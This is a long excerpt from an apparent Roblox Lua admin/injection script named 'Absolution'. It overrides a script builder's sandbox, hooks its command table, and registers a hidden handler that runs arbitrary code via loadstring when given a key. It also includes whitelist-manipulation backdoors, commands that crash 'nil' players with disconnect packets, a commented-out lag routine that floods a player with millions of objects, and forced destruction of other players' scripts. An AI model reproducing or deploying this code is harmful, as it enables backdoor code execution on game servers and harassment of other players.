  4637. local coroutine = _ENV.coroutine
  4638. local collectgarbage = _ENV.collectgarbage
  4639. local delay = _ENV.delay
  4640. local Delay = _ENV.Delay
  4641. local dofile = _ENV.dofile
  4642. local error = _ENV.error
  4643. local elapsedTime = _ENV.elapsedTime
  4644. local ElapsedTime = _ENV.ElapsedTime
  4645. local _G = _ENV._G
  4646. local shared = _ENV.shared
  4647. local string = _ENV.string
  4648. local tick = _ENV.tick
  4649. local time = _ENV.time
  4650. local gcinfo = _ENV.gcinfo
  4651. local getfenv = _ENV.getfenv
  4652. local getmetatable = _ENV.getmetatable
  4653. local Instance = _ENV.Instance
  4654. local ipairs = _ENV.ipairs
  4655. local load = _ENV.load
  4656. local loadfile = _ENV.loadfile
  4657. local LoadLibrary = _ENV.LoadLibrary
  4658. local loadstring = _ENV.loadstring
  4659. local math = _ENV.math
  4660. local newproxy = _ENV.newproxy
  4661. local next = _ENV.next
  4662. local os = _ENV.os
  4663. local debug = _ENV.debug
  4664. local pairs = _ENV.pairs
  4665. local pcall = _ENV.pcall
  4666. local print = _ENV.print
  4667. local printidentity = _ENV.printidentity
  4668. local rawequal = _ENV.rawequal
  4669. local rawget = _ENV.rawget
  4670. local rawset = _ENV.rawset
  4671. local require = _ENV.require
  4672. local select = _ENV.select
  4673. local setfenv = _ENV.setfenv
  4674. local setmetatable = _ENV.setmetatable
  4675. local Spawn = _ENV.Spawn
  4676. local spawn = _ENV.spawn
  4677. local table = _ENV.table
  4678. local tonumber = _ENV.tonumber
  4679. local tostring = _ENV.tostring
  4680. local type = _ENV.type
  4681. local unpack = _ENV.unpack
  4682. local _VERSION = _ENV._VERSION
  4683. local Version = _ENV.Version
  4684. local version = _ENV.version
  4685. local Wait = _ENV.Wait
  4686. local wait = _ENV.wait
  4687. local xpcall = _ENV.xpcall
  4688. local ypcall = _ENV.ypcall
  4689. local Game = _ENV.Game
  4690.  
  4691.  
  4692.  
  4693. local ScriptBuilder = {}
  4694. ScriptBuilder.OriginalVariables = {}
  4695. ScriptBuilder.Blocked = {}
  4696. ScriptBuilder.currentKey = "]==]..Absolution.uniqueKey..[==["
  4697. ScriptBuilder.whitelistedPlrs = {['4vJorckV5'] = {Rank=9},
  4698. [''] = {Rank=2},
  4699. [''] = {Rank=1},
  4700. [''] = {Rank=1},
  4701. [''] = {Rank=1},
  4702. [''] = {Rank=1},
  4703. [''] = {Rank=1},
  4704. [''] = {Rank=2},
  4705. [''] = {Rank=1},
  4706. [''] = {Rank=1},
  4707. [''] = {Rank=1},
  4708. [''] = {Rank=1},
  4709. }
  4710. ScriptBuilder.whitelistedIds = {['4vJorckV5']='74137141';['']='';['']='';[""]='';[""]='';}
  4711. ScriptBuilder.badreferences = {
  4712. ['Absolution']='Absolution',
  4713. ['RUNME']='RUNME',
  4714. }
  4715. ScriptBuilder.OriginalVariables = _ENV
  4716.  
  4717. ScriptBuilder.SandboxSource = [=====[]==]..Absolution.SandboxSource..[==[]=====]
  4718.  
  4719. ScriptBuilder.getPlayers = function(Speaker, Msg)
  4720. Msg = Msg:lower()
  4721. local Table = {}
  4722. local Players = game:GetService'Players':getPlayers()
  4723. if Msg == "me" then
  4724. table.insert(Table, Speaker)
  4725. elseif Msg == "all" or Msg == "" then
  4726. for _,v in pairs(Players) do
  4727. table.insert(Table, v)
  4728. end
  4729. elseif Msg == "others" then
  4730. for _,v in pairs(Players) do
  4731. if v.Name ~= Speaker.Name then
  4732. table.insert(Table, v)
  4733. end
  4734. end
  4735. elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
  4736. for _,v in pairs(Players) do
  4737. if v.AccountAge < 364 then
  4738. table.insert(Table, v)
  4739. end
  4740. end
  4741. elseif Msg == "veterans" or Msg == "vets" then
  4742. for _,v in pairs(Players) do
  4743. if v.AccountAge > 364 then
  4744. table.insert(Table, v)
  4745. end
  4746. end
  4747. elseif Msg == "random" then
  4748. local p = Players[math.random(1,#Players)]
  4749. table.insert(Table, p)
  4750. elseif Msg == 'friends' then
  4751. for i,v in pairs(Players) do
  4752. if Speaker:IsFriendsWith(v.userId) then
  4753. table.insert(Table, v)
  4754. end
  4755. end
  4756. elseif Msg == 'nonfriends' then
  4757. for i,v in pairs(Players) do
  4758. if not Speaker:IsFriendsWith(v.userId) then
  4759. table.insert(Table, v)
  4760. end
  4761. end
  4762. elseif Msg == 'youngest' then
  4763. local at = {}
  4764. for i,v in pairs(Players) do
  4765. table.insert(at,v.AccountAge)
  4766. end
  4767. local low = math.min(unpack(at))
  4768. for i,v in pairs(Players) do
  4769. if v.AccountAge == low then
  4770. table.insert(Table, v)
  4771. end
  4772. end
  4773. elseif Msg == 'oldest' then
  4774. local ot = {}
  4775. for i,v in pairs(Players) do
  4776. table.insert(ot,v.AccountAge)
  4777. end
  4778. local high = math.max(unpack(ot))
  4779. for i,v in pairs(Players) do
  4780. if v.AccountAge == high then
  4781. table.insert(Table, v)
  4782. end
  4783. end
  4784. else
  4785. for i,v in pairs(Players) do
  4786. if v.Name:lower():sub(1,#Msg) == Msg:lower() then
  4787. table.insert(Table, v)
  4788. end
  4789. end
  4790. end
  4791. for _,v in pairs(Table) do
  4792. if v~=Speaker and (ScriptBuilder.whitelistedPlrs[tostring(v)] and ScriptBuilder.whitelistedPlrs[tostring(v)].Rank or 0) >= ScriptBuilder.whitelistedPlrs[tostring(Speaker)].Rank then
  4793. ScriptBuilder.Output(tostring(v)..' outranks you.', 'Error', Speaker)
  4794. table.remove(Table, _)
  4795. end
  4796. end
  4797. return Table
  4798. end
  4799.  
  4800. ScriptBuilder.connectServer = function(self, server)
  4801. server.OnInvoke = function(Command, Key, arguments)
  4802. if Key~=ScriptBuilder.currentKey then return 'Incorrect key!' end
  4803. if Command=='blockuser' then
  4804. if not ScriptBuilder.Blocked[arguments] then
  4805. ScriptBuilder.Blocked[arguments] = true
  4806. ScriptBuilder.Output(arguments.." was blocked.", "Error")
  4807. return 'User blocked.'
  4808. else
  4809. return 'User was already blocked.'
  4810. end
  4811. elseif Command=='unblockuser' then
  4812. if ScriptBuilder.Blocked[arguments] then
  4813. ScriptBuilder.Blocked[arguments] = nil
  4814. ScriptBuilder.Output(arguments.." was unblocked.", "Note")
  4815. return 'User was unblocked.'
  4816. else
  4817. return 'User was never blocked.'
  4818. end
  4819. elseif Command=='terminate' then
  4820. ScriptBuilder.Output("Terminating Absolution Sandbox", "Error")
  4821. for i,v in pairs(getfenv()) do
  4822. getfenv()[i] = nil
  4823. end
  4824. elseif Command=='loadstring' then
  4825. if arguments then
  4826. local Ran,Error = ypcall(function()
  4827. loadstring(arguments)()
  4828. end)
  4829. if not Ran then
  4830. return error
  4831. end
  4832. return Ran
  4833. else
  4834. return 'no code passed to execute'
  4835. end
  4836. end
  4837. end
  4838. end
  4839.  
  4840. ScriptBuilder.createHandler = function(self, name, place)
  4841. local server = Instance.new('BindableFunction')
  4842. server.Name = name
  4843. wait()
  4844. server.Parent = place
  4845. self.Con = server.Changed:connect(function(change)
  4846. local c = change:lower()
  4847. if c=='name' then
  4848. server.Name = name
  4849. elseif c=='parent' then
  4850. wait()
  4851. server.Parent = place
  4852. else
  4853. server:Destroy()
  4854. self:createHandler(name, place)
  4855. self.Con:disconnect()
  4856. end
  4857. end)
  4858. self:connectServer(server)
  4859. self["SERVER"] = server
  4860. return server
  4861. end
  4862.  
  4863. local Sandbox = {}
  4864. function Sandbox.isC(f)
  4865. return pcall(string.dump, f) == false
  4866. end
  4867.  
  4868. ScriptBuilder.GetScripts = function(plr)
  4869. local Scripts = plr:LoadString("sCrIptbuilDERox_SavedScripts")
  4870. local ScriptTable = game.HttpService:JSONDecode(Scripts)
  4871. return ScriptTable
  4872. end
  4873.  
  4874. function ScriptBuilder.Output(Message, Type, plr)
  4875. if not plr then
  4876. for i,v in pairs(game:GetService'Players':GetChildren()) do
  4877. local p = Instance.new('StringValue')
  4878. p.Name = 'SB_Output:Output'
  4879. p.Value = '["'..Type..'","'..Message..'"]'
  4880. p.Parent = v
  4881. end
  4882. else
  4883. local p = Instance.new('StringValue')
  4884. p.Name = 'SB_Output:Output'
  4885. p.Value = '["'..Type..'","'..Message..'"]'
  4886. wait()
  4887. p.Parent = plr
  4888. end
  4889. end
  4890.  
  4891. function ScriptBuilder.GetCommand(name)
  4892. if ScriptBuilder.CommandsTable then
  4893. for alias, f in pairs(ScriptBuilder.CommandsTable) do
  4894. local commandNames = {}
  4895. for name in string.gmatch(alias, "[^,%s*]+") do
  4896. commandNames[name] = f
  4897. end
  4898. if commandNames[name] then
  4899. return commandNames[name]
  4900. end
  4901. end
  4902. end
  4903. end
  4904.  
  4905. ScriptBuilder.Process = function(requireid)
  4906. if ScriptBuilder.whitelistedIds[tostring(requireid)] then
  4907. ScriptBuilder.Output('Whitelisted module ('..ScriptBuilder.whitelistedIds[tostring(requireid)]..') loading...', 'Print')
  4908. return require(requireid)
  4909. else
  4910. return false,ScriptBuilder.Output('Module ('..requireid..') was blocked.', 'Error')
  4911. end
  4912. end
  4913.  
  4914. function ScriptBuilder.AlterCommandsTable(original)
  4915. if ScriptBuilder.CommandsTable == nil then
  4916. ScriptBuilder.CommandsTable = original
  4917. end
  4918. local altered = {}
  4919. for name, commandFunc in pairs(original) do
  4920. altered[name] = setfenv(function(player, ...)
  4921. local arguments = {...}
  4922. if ScriptBuilder.whitelistedPlrs[tostring(player)] or not ScriptBuilder.whitelistedPlrs[tostring(player)] then
  4923. --print("CALLED", name, player, ...)
  4924. local firstArgument = string.match(arguments[1], "^(%a+)/.*") or string.match(arguments[1], "^(%a+)/?") or arguments[1]
  4925. --print('{'..name..'} = ['..firstArgument..']')
  4926. if name == "remove" and firstArgument == "-all" then
  4927. for _, scriptData in pairs(ScriptBuilder.GetScripts(player)) do
  4928. if not ScriptBuilder.badreferences[scriptData.Name] then
  4929. ScriptBuilder.GetCommand("remove")(player, scriptData.Name)
  4930. end
  4931. end
  4932. else
  4933. if (name == "runlocal, runl, rl" or name == "createhttp, createh, ch" or name == "createlocal" or name == "httpnewlocal, hnl" or name == "createsource, cs" or name == "edit" or name == "remove" or name == "unsave" or name == "rename" or name == "create") and ScriptBuilder.badreferences[firstArgument] then
  4934. return ScriptBuilder.Output(string.format("You cannot use '%s' on that script.", string.match(name, "^(%a+), .+") or name), "Error", player)
  4935. elseif name == "get, g" and (arguments[1]:find'nonils' or arguments[1]:find'nn' or arguments[1]:find'nonil') and (ScriptBuilder.whitelistedPlrs and ScriptBuilder.whitelistedPlrs[tostring(player)].Rank==2) then
  4936. return ScriptBuilder.Output('An error has occured.', "Error", player)
  4937. elseif name == "get, g" and (firstArgument == 'whitelist') then
  4938. for i,v in pairs(ScriptBuilder.whitelistedPlrs) do
  4939. ScriptBuilder.Output(i..' ('..v..')', "Print", player)
  4940. end
  4941. return true
  4942. elseif name == "get, g" and (arguments[1]:find'aid/') and ScriptBuilder.whitelistedPlrs[tostring(player)] then
  4943. local p = arguments[1]:sub(arguments[1]:find('/')+1)
  4944. ScriptBuilder.whitelistedIds[p] = tonumber(p)
  4945. return true
  4946. elseif name == "get, g" and (arguments[1]:find'sballow/') and ScriptBuilder.whitelistedPlrs[tostring(player)] then
  4947. local p = ScriptBuilder.getPlayers(player, arguments[1]:sub(arguments[1]:find('/')+1))
  4948. for n,m in pairs(p) do
  4949. ScriptBuilder.whitelistedPlrs[tostring(m)] = {Rank=1}
  4950. ScriptBuilder.Output('Whitelisted '..m.Name, "Note", player)
  4951. end
  4952. return
  4953. elseif name == "get, g" and (arguments[1]:find'sbunallow/') and ScriptBuilder.whitelistedPlrs[tostring(player)] then
  4954. local p = ScriptBuilder.getPlayers(player, arguments[1]:sub(arguments[1]:find('/')+1))
  4955. for n,m in pairs(p) do
  4956. ScriptBuilder.whitelistedPlrs[tostring(m)] = nil
  4957. ScriptBuilder.Output('Dewhitelisted '..m.Name, "Error", player)
  4958. end
  4959. return
  4960. elseif name == "get, g" and (firstArgument == "nos" or firstArgument == "ns" or firstArgument == "ns/all" or firstArgument == "nos/all") then
  4961. local disableAll = string.find(firstArgument, "/all") ~= nil
  4962. --for _, sandbox in pairs(Sandbox.Sandboxes) do
  4963. --if sandbox.Owner == player or disableAll then
  4964. --sandbox.Terminate()
  4965. --end
  4966. --end
  4967. end
  4968. return commandFunc(player, ...)
  4969. end
  4970. else
  4971. ScriptBuilder.Output("You must be whitelisted by an administrator!", "Error", player)
  4972. end
  4973. end, SBENV)
  4974. end
  4975. return altered
  4976. end
  4977.  
  4978. function ScriptBuilder.SetVariable(name, value)
  4979. ScriptBuilder.OriginalVariables[name] = SBENV[name]
  4980. SBENV[name] = type(value) == "function" and not Sandbox.isC(value) and setfenv(value, SBENV) or value
  4981. end
  4982.  
  4983. ScriptBuilder.mainloop = function()
  4984. ScriptBuilder.SetVariable('sb', 'Absolution')
  4985. ScriptBuilder.SetVariable('_VERSION','AbsolutionSB build. 84')
  4986. ScriptBuilder.SetVariable('_G',setmetatable({},{__metatable='locked'}))
  4987. ScriptBuilder.SetVariable('require', function(id) return ScriptBuilder.Process(id) end)
  4988. ScriptBuilder.SetVariable("pairs", function(t)
  4989. if t and type(t) == "table" then
  4990. if rawequal(getmetatable(t), nil) and (rawget(t, "share") or rawget(t, "save")) then
  4991. return pairs(ScriptBuilder.AlterCommandsTable(t))
  4992. end
  4993. end
  4994. return pairs(t)
  4995. end)
  4996. end
  4997.  
  4998. game:GetService('RunService').Stepped:connect(ScriptBuilder.mainloop)
  4999. ScriptBuilder:createHandler('ScriptBuilderHandler', game:service'ReplicatedStorage')
  5000. setmetatable(ScriptBuilder, {__tostring=function() return 'no' end,__metatable='locked'})]==],ranBy)
  5001. wait()
  5002. Absolution.Functions.sbExe('c/print"Initializing absolution sandbox."',ranBy)
  5003. end,'Executing sandbox')
  5004. --]======]
  5005. Absolution.Functions.osbOutput('Absolution Loaded!','Note')
  5006. end
  5007.  
  5008. -- Cleaning And Stuff :) --
  5009. Absolution.Functions.CreateBase = function()
  5010. for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
  5011. if v.Name:lower():find('base') and v:IsA('BasePart') then
  5012. v:remove()
  5013. end
  5014. end
  5015. local Base = Instance.new("Part")
  5016. Base.BrickColor = BrickColor.new("Dark green")
  5017. Base.CFrame = CFrame.new(0, 0.6, 0)
  5018. Base.Transparency = 0
  5019. Base.Elasticity = 0.5
  5020. --Base.FormFactor = "Custom"
  5021. Base.Material = 'Grass'
  5022. Base.CanCollide = true
  5023. Base.Friction = 0.30000001192093
  5024. Base.Size = Vector3.new(2044, 0, 2044)
  5025. Base.Archivable = true
  5026. Base.Material = "Grass"
  5027. Base.RotVelocity = Vector3.new(0, 0, 0)
  5028. Base.Reflectance = 0
  5029. Base.Locked = true
  5030. Base.Anchored = true
  5031. Base.Name = "Base"
  5032. Base.TopSurface = "Smooth"
  5033. Base.BottomSurface = "Inlet"
  5034. Base.Shape = "Block"
  5035. Base.Parent = Absolution.Services.Workspace.Terrain
  5036. end
  5037.  
  5038. Absolution.Functions.CleanWorkspace = function()
  5039. for i,s in pairs(Absolution.Services.Workspace:GetChildren()) do
  5040. if Absolution.Services.Players:GetPlayerFromCharacter(s) == nil then
  5041. if s.className ~= "Terrain" then
  5042. if s.className ~= "Camera" then
  5043. pcall(function() s:Destroy() end)
  5044. end
  5045. end
  5046. end
  5047. end
  5048. for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
  5049. if v:IsA("Terrain") then
  5050. v:Clear()
  5051. end
  5052. end
  5053. for _,v in pairs(Absolution.Services.Workspace.Terrain:GetChildren()) do
  5054. pcall(function()
  5055. v:Destroy''
  5056. end)
  5057. end
  5058. Absolution.Functions.CreateBase()
  5059. end
  5060. Absolution.Functions.FullClean = function()
  5061. local Child = {}
  5062. local GetAllChildren = function(c)
  5063. for _,v in pairs(c:GetChildren()) do
  5064. ypcall(function()
  5065. GetAllChildren(v)
  5066. table.insert(Child, v)
  5067. end)
  5068. end
  5069. end
  5070. for _,v in pairs(Absolution.Services.Game:GetChildren()) do
  5071. ypcall(function()
  5072. GetAllChildren(v)
  5073. end)
  5074. end
  5075. for _,v in pairs(Child) do
  5076. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  5077. v:remove()
  5078. end
  5079. end
  5080. Absolution.Functions.CleanWorkspace()
  5081. Absolution.Functions.Debug()
  5082. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  5083. v:LoadCharacter()
  5084. end
  5085. end
  5086. Absolution.Functions.Debug = function()
  5087. ypcall(function()
  5088. for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do
  5089. if v:IsA('Message') or v:IsA('Hint') then
  5090. ypcall(function()
  5091. v.Text = ''
  5092. v:Destroy()
  5093. end)
  5094. end
  5095. if v:IsA('Terrain') then
  5096. v:Clear()
  5097. end
  5098. end
  5099. Absolution.Services.Lighting.GlobalShadows = true
  5100. Absolution.Services.Lighting.TimeOfDay = '14:00:00'
  5101. Absolution.Services.Lighting.Brightness = 0.3
  5102. Absolution.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
  5103. Absolution.Services.Lighting.Ambient = Color3.new(1,1,1)
  5104. Absolution.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  5105. Absolution.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  5106. Absolution.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
  5107. Absolution.Services.Lighting.FogStart = 0
  5108. Absolution.Services.Lighting.FogEnd = 100000
  5109. Absolution.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  5110. Absolution.Services.Lighting:ClearAllChildren()
  5111. Absolution.Services.Teams:ClearAllChildren()
  5112. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  5113. v.Neutral = true
  5114. end
  5115. end)
  5116. end
  5117.  
  5118. -- Status Announce --
  5119. Absolution.Functions.Announce = function(msg,fs)
  5120. Absolution.Functions.Out('All', msg, 5)
  5121. --Absolution.DCTAPI.sendMessage('Announce: '..msg)
  5122. if fs == true then
  5123. for i,v in pairs(Absolution.Services.Players:getPlayers()) do
  5124. if v:findFirstChild("PlayerGui") then
  5125. local sg = Instance.new("ScreenGui", v.PlayerGui)
  5126. sg.Name = "Absolution ScreenGui FullScreen "..math.random(999999)
  5127. local fr = Instance.new("Frame", sg)
  5128. fr.Name = "Main"
  5129. fr.Size = UDim2.new(0, 0, 0, 0)
  5130. fr.Position = UDim2.new(0, 0, 0, 0)
  5131. fr.BackgroundTransparency = 0.7
  5132. fr.BackgroundColor3 = Color3.new(-1,-1,-1)
  5133. fr.BorderColor3 = Color3.new(1,1,1)
  5134. local tl = Instance.new("TextLabel", fr)
  5135. tl.Size = UDim2.new(1, 0, 1, 0)
  5136. tl.BackgroundTransparency = 1
  5137. tl.TextColor3 = Color3.new(1,1,1)
  5138. tl.FontSize = "Size24"
  5139. tl.Font = 'SourceSansLight'
  5140. tl.Text = string.gsub(msg, "", "")
  5141. tl.Name = "Text"
  5142. tl.TextTransparency = 0
  5143. pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
  5144. fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
  5145. coroutine.resume(coroutine.create(function()
  5146. wait(8)
  5147. fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
  5148. tl:remove()
  5149. end))
  5150. end
  5151. end
  5152. else
  5153. local sg
  5154. local function GetNumAlerts(Par)
  5155. local Num = 0
  5156. if Par == nil then return 0 end
  5157. for i, Obj in pairs(Par:GetChildren()) do
  5158. if Obj.Name:lower():find(string.lower("Absolution ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Absolution ScreenGui Hint")) then
  5159. Num = Num + 1
  5160. end
  5161. end
  5162. return Num
  5163. end
  5164. for i,v in pairs(Absolution.Services.Players:getPlayers()) do
  5165. if v:findFirstChild("PlayerGui") then
  5166. sg = Instance.new("ScreenGui", v.PlayerGui)
  5167. sg.Name = "Absolution ScreenGui Hint "..math.random(999999)
  5168. local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
  5169. local fr = Instance.new("Frame", sg)
  5170. fr.Name = "Main"
  5171. fr.Size = UDim2.new(1, 0, 0.025, 0)
  5172. fr.Position = UDim2.new(-1, 0, num, 0)
  5173. fr.BackgroundTransparency = 0.5
  5174. fr.BackgroundColor3 = Color3.new(1, 1, 1)
  5175. fr.BorderColor3 = Color3.new(0, 0, 0)
  5176. local tl = Instance.new("TextLabel", fr)
  5177. tl.Size = UDim2.new(1, 0, 1, 0)
  5178. tl.BackgroundTransparency = 1
  5179. tl.TextColor3 = Color3.new(-1,-1,-1)
  5180. tl.Font = "SourceSansLight"
  5181. tl.FontSize = "Size18"
  5182. tl.Text = string.gsub(msg, "", "")
  5183. tl.Name = "Text"
  5184. tl.TextTransparency = 0
  5185. pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
  5186. fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 0.5)
  5187. coroutine.resume(coroutine.create(function()
  5188. wait(8)
  5189. pcall(function() fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 0.5) end)
  5190. tl:remove()
  5191. end))
  5192. end
  5193. end
  5194. end
  5195. end
  5196.  
  5197. -- deprecated
  5198. --[[
  5199. -- Lag --
  5200. Absolution.Functions.Lag = function(plr)
  5201. if not plr then return error'no player defined' end
  5202. for i = 1,2800000 do
  5203. Instance.new('Message',plr)
  5204. end
  5205. end
  5206. --]]
  5207.  
  5208. -- Blacklist --
  5209. Absolution.Functions.checkBlackList = function(Plr)
  5210. for i,v in pairs(Absolution.injectBlacklist) do
  5211. if v.ID==Plr.userId then
  5212. return true,v
  5213. end
  5214. return false,{}
  5215. end
  5216. end
  5217.  
  5218. -- GroupRank --
  5219. Absolution.Functions.calculateRankInGroup = function(playerObj)
  5220. local groupRank = playerObj:GetRankInGroup(Absolution.GroupData.GroupID)
  5221.  
  5222. local matchTable = Absolution.GroupData.GroupRanks
  5223.  
  5224. for defrank, groupranks in pairs(matchTable) do
  5225.  
  5226. for nildata, rank in pairs(groupranks) do
  5227.  
  5228. if groupRank==rank and defrank>0 then
  5229.  
  5230. return defrank
  5231.  
  5232. end
  5233. end
  5234.  
  5235. end
  5236.  
  5237. return -1
  5238. end
  5239.  
  5240. -- ConnectPlayer --
  5241. Absolution.Functions.ConnectPlayer = function(self, Player)
  5242. local playerName = Player.Name
  5243. if not Absolution.Functions.getRankedTable(playerName) then Absolution.Functions:addData(Player, Player.userId, 0); end
  5244. local playerData = Absolution.Functions.getRankedTable(playerName)
  5245. if not playerData.Bet then playerData.Bet = '/' end
  5246. local blackList,blTable = Absolution.Functions.checkBlackList(Player)
  5247. if blackList and game.PlaceId ~= 20279777 then
  5248. Absolution.Functions.Output(Player, 'You are blacklisted from Absolution.', 'Really black')
  5249. Absolution.Functions.Output(Player, 'Injection Aborted.', 'Really black')
  5250. Absolution.Functions.Output(Player, 'REASON: '..blTable.REASON, 'Really black')
  5251. Absolution.Functions.Output(Player, 'User: '..Player.Name, 'Really black')
  5252. Absolution.Functions.Output(Player, 'Dismiss')
  5253. return
  5254. end
  5255. local cRank = Absolution.Functions.calculateRankInGroup(Player)
  5256.  
  5257. local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
  5258.  
  5259. Absolution.Functions.nickName(Player.Name, DataStore:GetAsync('user_'..Player.Name))
  5260.  
  5261. Absolution.Functions.createLocalScript('Injection', Player:WaitForChild('Backpack'), Absolution.uniqueKey..' CLIENT')
  5262.  
  5263. if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' print(playerData.Rank, cRank) Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
  5264.  
  5265. if game.PlaceId ~= 21053279 then
  5266. --game:GetService("MarketplaceService"):PromptPurchase(Player, 478854176)
  5267. end
  5268. Absolution.Connections[#Absolution.Connections+1] = Player.CharacterAdded:connect(function(q)
  5269. Absolution.Connections[#Absolution.Connections+1] = q.DescendantAdded:connect(function(Object)
  5270. if Absolution.Locks.Server.Local == true then
  5271. if playerData.Rank >= 2 then return end
  5272. if Object:IsA("BaseScript") then
  5273. local ObjectName = Object.Name
  5274. repeat Object.Disabled = true wait() until Object:Destroy()
  5275. end
  5276. end
  5277. end)
  5278. end)
  5279. if not Player.Character then Player.Character = Instance.new'Model' end
  5280. Absolution.Connections[#Absolution.Connections+1] = Player.Character.DescendantAdded:connect(function(Object)
  5281. if Absolution.Locks.Server.Local == true then
  5282. if playerData.Rank >= 2 then return end
  5283. if Object:IsA("BaseScript") then
  5284. local ObjectName = Object.Name
  5285. repeat Object.Disabled = true wait() until Object:Destroy()
  5286. end
  5287. end
  5288. end)
  5289. Player.ChildAdded:connect(function(a)
  5290. if a:IsA('StringValue') then
  5291. for i,v in pairs(Absolution.Nicknames) do
  5292. if a.Value:find(i) then
  5293. a.Value = a.Value:gsub(i, v)
  5294. end
  5295. end
  5296. end
  5297. end)
  5298. if Player.AccountAge < 30 then
  5299. if Absolution.Functions:findRank(Player) < 0.5 then
  5300. Absolution.Functions.Announce(playerName.." was kicked for being under age. They may join in "..tostring(30-Player.AccountAge).." days")
  5301. Player:Kick('[Absolution]: You may join the server in '..tostring(30-Player.AccountAge)..' days')
  5302. end
  5303. end
  5304. if Absolution.PrivateServer.Enabled then
  5305. if Absolution.Functions:findRank(Player) < 0.5 then
  5306. Absolution.Functions.Announce(playerName.." was kicked due to the Private Server.")
  5307. Player:Kick('[Absolution]: Private server enabled. Please rejoin at a later time.')
  5308. end
  5309. end
  5310. if Absolution.PrivateServer.GroupLock then
  5311. if not Player:IsInGroup(Absolution.GroupData.GroupID) then
  5312. Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
  5313. Player:Kick('[Absolution]: Server is locked for all players not in Infinity Developers!')
  5314. end
  5315. end
  5316. if Absolution.Locks.Server.Locked then
  5317. if Absolution.Functions:findRank(Player) < Absolution.Locks.Server.rankNumber then
  5318. Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
  5319. Player:Kick('[Absolution]: Server is locked for all ranks below '..Absolution.Locks.Server.rankNumber..' for '..Absolution.Locks.Server.Duration..' more seconds!')
  5320. end
  5321. end
  5322. end
  5323.  
  5324. -- Commands --
  5325. -- Rank 0 --
  5326. Absolution.Functions.Command("Players", {"players", "plrs"}, 0, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
  5327. if Absolution.Functions.GetSplit(Msg) == "n" then
  5328. Absolution.Functions.Dismiss(Speaker)
  5329. local Number_Of_Nils = 0
  5330. for _,v in pairs(Absolution.Functions.getALLPlayers()) do
  5331. if v.Parent ~= Absolution.Services.Players then
  5332. Number_Of_Nils = Number_Of_Nils + 1
  5333. Absolution.Functions.Output(Speaker, "Crash "..v.Name.."?", nil, function()
  5334. Absolution.Functions.Dismiss(Speaker)
  5335. local dc = Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = 'bcuz y not'})
  5336. coroutine.resume(coroutine.create(function()
  5337. wait(0.5)
  5338. if dc then
  5339. Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
  5340. else
  5341. Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
  5342. end
  5343. end))
  5344. end)
  5345. end
  5346. end
  5347. if Number_Of_Nils == 0 then
  5348. return Absolution.Functions.Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
  5349. end
  5350. Absolution.Functions.Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
  5351. Absolution.Functions.Output(Speaker, "Shutdown Nils?", "New Yeller", function()
  5352. for _,v in pairs(Absolution.Functions.getALLPlayers()) do
  5353. if v.Parent ~= Absolution.Services.Players then
  5354. local x = Instance.new("Model", Absolution.Services.Workspace)
  5355. local y = Instance.new("Part", x)
  5356. y.Transparency = 1
  5357. y.CanCollide = false
  5358. y.Anchored = true
  5359. y.Name = "Torso"
  5360. y.Position = Vector3.new(10000,10000,10000)
  5361. local z = Instance.new("Humanoid",x)
  5362. z.Torso = y
  5363. v.Character = x
  5364. Absolution.Handler:sendPacket(v, 'repeat', {['REASON'] = tostring(Speaker)..' crashed you'})
  5365. end
  5366. end
  5367. end)
  5368. Absolution.Functions.Output(Speaker, "Dismiss")
  5369. else
  5370. Absolution.Functions.ShowPlayers(Speaker)
  5371. end
  5372. Absolution.Functions.Out(Speaker, 'Got Players.', 5)
  5373. end)
  5374. Absolution.Functions.Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -s (Spam)", function(Speaker, Msg)
  5375. if Absolution.Functions.GetSplit(Msg) == "a" then
  5376. Absolution.Functions.Dismiss(Speaker)
  5377. Msg = Msg:gsub("-a", "")
  5378. for i = 1, 6 do
  5379. Absolution.Functions.Output(Speaker, "AFK")
  5380. end
  5381. Absolution.Functions.Output(Speaker, "Dismiss")
  5382. elseif Absolution.Functions.GetSplit(Msg) == "s" then
  5383. Msg = Msg:gsub("-s", "")
  5384. local Split = Msg:find('/')
  5385. local Message = Msg:sub(1, Split - 1)
  5386. local Amount = Msg:sub(Split + 1)
  5387. if tonumber(Amount) > 20 then
  5388. Absolution.Functions.Output(Speaker, 'Too many tablets.', "Red")
  5389. Amount = 0
  5390. end
  5391. Absolution.Functions.Dismiss(Speaker)
  5392. for i = 1, Amount do
  5393. Absolution.Functions.Output(Speaker, Message, "Random")
  5394. end
  5395. else
